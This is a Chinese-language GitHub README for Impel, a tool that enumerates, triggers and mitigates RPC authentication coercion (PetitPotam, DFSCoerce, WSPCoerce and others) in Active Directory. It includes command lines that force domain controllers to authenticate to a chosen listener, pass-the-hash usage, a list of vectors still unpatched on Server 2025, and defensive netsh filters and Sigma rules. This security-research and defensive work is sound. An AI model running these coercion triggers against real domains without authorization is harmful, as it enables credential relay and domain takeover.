cbev0x/impel
GitHub: cbev0x/impel
一款基于 Impacket 的 Linux 原生扫描器,用于枚举、验证和缓解 Windows Active Directory 环境中的 RPC 身份验证强制调用面。
Stars: 0 | Forks: 0
# Impel — RPC 强制调用面映射器
Linux 原生、基于 impacket 的扫描器,用于 Active Directory 环境中的 **RPC 身份验证强制调用面**。指纹识别哪些支持强制调用的接口可达,向您控制的监听器发送触发器以确认强制调用,生成可直接部署的缓解措施,并提供用于寻找未公开原语的研究框架。
## 安装
```
pip install impacket rich
git clone https://github.com/cbev0x/impel
cd impel
```
无额外依赖。`wsp_packets.py` 内联捆绑了 WSP 数据包构建器(改编自 [RedTeam Pentesting 的 wspcoerce](https://github.com/RedTeamPentesting/wspcoerce)),因此没有外部 git 依赖。
## 模块
### `enum` — 强制调用面指纹识别
探测跨越所有候选命名管道的九向量知识库。将每个结果分类为 `REACHABLE`、`denied`、`no-iface` 或 `absent`。MS-WSP 探测使用原始 SMB 管道打开,而不是 DCERPC 绑定,因为 WSP 不是 DCERPC 协议。
```
# 单台主机
python3 -m impel enum DC01.corp.lab -u user -p 'pass' -d corp.lab
# 子网扫描
python3 -m impel enum 10.0.0.0/24 -u user -p 'pass' -d corp.lab
# 仅特定 vector
python3 -m impel enum DC01.corp.lab --vector MS-DFSNM --vector MS-EVEN \
-u user -p 'pass' -d corp.lab
# 输出 JSON 以管道方式传入 defend
python3 -m impel enum DC01.corp.lab -u user -p 'pass' -d corp.lab --json \
> surface.json
# 传递哈希
python3 -m impel enum DC01.corp.lab -u user -H : -d corp.lab
# Kerberos
python3 -m impel enum DC01.corp.lab -k --dc-ip 10.0.0.1 -d corp.lab
```
### `validate` — 触发与回连确认
向您控制的监听器发送强制调用触发器,并等待回连。已知的强制调用库中实现了八种触发器。
```
# 内置监听器位于 :445(需要 root)
sudo python3 -m impel validate DC01.corp.lab -L 10.10.10.50 \
-u user -p 'pass' -d corp.lab
# 特定 vector
sudo python3 -m impel validate DC01.corp.lab -L 10.10.10.50 \
--vector MS-DFSNM -u user -p 'pass' -d corp.lab
# 高端口,无需 root
python3 -m impel validate DC01.corp.lab -L 10.10.10.50 \
--http --http-port 8080 --bind-port 8080 \
-u user -p 'pass' -d corp.lab
# 外部监听器(Responder / ntlmrelayx);仅触发 impel
python3 -m impel validate DC01.corp.lab -L 10.10.10.50 --external \
-u user -p 'pass' -d corp.lab
```
### `defend` — 缓解措施、netsh 脚本与 Sigma 规则
接收 enum 输出(通过 `--from-json`)或在内部运行 enum。生成按向量的缓解报告、每个主机可直接部署的 `netsh rpc filter` 脚本,以及针对每个检测到的向量族的 Sigma YAML 规则。
```
# 将 enum JSON 直接通过管道传入 defend
python3 -m impel enum DC01.corp.lab -u user -p 'pass' -d corp.lab --json | \
python3 -m impel defend --from-json - \
--netsh ./filters/ --sigma ./sigma/
# 在内部运行 enum
python3 -m impel defend DC01.corp.lab -u user -p 'pass' -d corp.lab \
--netsh ./filters/ --sigma ./sigma/
# 在目标上应用生成的 filter(在 Windows 上运行)
# netsh -f DC01_corp_lab_rpc_filter.txt
```
netsh 脚本在每个接口 UUID 上使用 `layer=um actiontype=block`,并通过 `netsh -f .txt` 应用。MS-WSP 被故意排除在 netsh 脚本之外——它不是 DCERPC,并且在 `um` 层没有基于 UUID 的 endpoint;正确的缓解措施是禁用服务,工具会在按向量的输出中记录这一点。
Sigma 输出涵盖每个向量族的三种规则类型:Sysmon 18(命名管道连接)、Sysmon 3(来自强制调用进程的出站网络连接)和 Security 4624(机器账户网络登录)。
### `research` — EPM 转储与原语发现
```
# 完整的 EPM 接口转储 — 与 vector DB 和 KNOWN_UUIDS 交叉比对
python3 -m impel research dump DC01.corp.lab
# 启发式候选标记(named pipes 上的未知 UUID 得分最高)
python3 -m impel research flag DC01.corp.lab --json
# 在 opnum 范围内探测候选接口
# 使用 UNC 参数触发每个 opnum 并等待 connectback
sudo python3 -m impel research probe DC01.corp.lab \
--uuid --pipe --opnums 0-20 \
-L 10.10.10.50 -u user -p 'pass' -d corp.lab
```
## 向量知识库
```
python3 -m impel vectors
```
| Vector | Family | Pipe | Coercion Method | Status on Server 2025 |
|---|---|---|---|---|
| MS-RPRN | PrinterBug | spoolss | RpcRemoteFindFirstPrinterChangeNotificationEx | 管道默认受控 |
| MS-PAR | PrinterBug (async) | spoolss | RpcAsyncOpenPrinter | 管道默认受控 |
| MS-EFSR | PetitPotam | lsarpc/efsrpc/samr/netlogon/lsass | EfsRpcOpenFileRaw | **已修复** — CVE-2021-36942,接口已移除 |
| MS-EFSR-alt | PetitPotam | efsrpc/lsarpc | EfsRpcOpenFileRaw | **已修复** — 同上 |
| MS-DFSNM | DFSCoerce | netdfs | NetrDfsRemoveStdRoot | **存活** — 无 CVE,未修复 |
| MS-FSRVP | ShadowCoerce | FssagentRpc | IsPathShadowCopied | **已修复** — CVE-2022-30154 |
| MS-EVEN | EventLog coercion | eventlog | ElfrOpenBELW | 触发,无出站身份验证 |
| MS-EVEN6 | EventLog coercion v6 | eventlog | EvtRpcOpenLogHandle | 触发,无出站身份验证 |
| MS-WSP | WSPCoerce | MsFteWds | CPMCreateQueryIn | **存活**(管理员,启用 Windows Search) |
## 输出约定
人类可读的输出进入 **stderr**(富终端)。`--json` 输出进入 **stdout**(纯净、可通过管道传输)。退出码:`0` = 发现调用面 / 确认强制调用,`1` = 未发现任何内容,`2` = 使用错误。
为 SMB 回连监听器绑定 `:445` 需要 root 权限。使用 `--external`、在高端口上使用 `--http` 或使用 `sudo` 作为替代方案。
## Windows Server 2025 发现
已针对完全修补的 Windows Server 2025 域(build 26100)进行验证。在默认配置下,有两种强制调用原语得以幸存:
- **MS-DFSNM (DFSCoerce)** — 确认使用域用户凭据进行强制调用。未分配 CVE,微软尚未修复此类经过身份验证的强制调用。
- **MS-WSP (WSPCoerce)** — 确认使用管理员凭据进行强制调用。Server 2025 默认禁用 Windows Search;管道 ACL 限制仅管理员账户可访问。
所有其他向量均已修补、默认受控或在服务级别被阻止。完整的分析请参见 [cbev0x.github.io](https://cbev0x.github.io) 上的随附文章。
## 致谢
- Gilles Lionel ([@topotam77](https://twitter.com/topotam77)) — PetitPotam / MS-EFSR
- Filip Dragovic ([@Wh04m1001](https://twitter.com/Wh04m1001)) — DFSCoerce / MS-DFSNM
- Lee Christensen 和 Elad Shamir — PrinterBug / MS-RPRN
- p0dalirius — [Coercer](https://github.com/p0dalirius/Coercer) 及系统性的强制调用语料库研究
- RedTeam Pentesting GmbH — [wspcoerce](https://github.com/RedTeamPentesting/wspcoerce),其 WSP 数据包构建器被改编用于 `wsp_packets.py`
- [Impacket](https://github.com/fortra/impacket) — 贯穿始终的 RPC 传输、NDR 和 SMB 层
## 许可证
MIT
标签:Active Directory, Plaso, Python, 无后门, 身份验证劫持, 逆向工具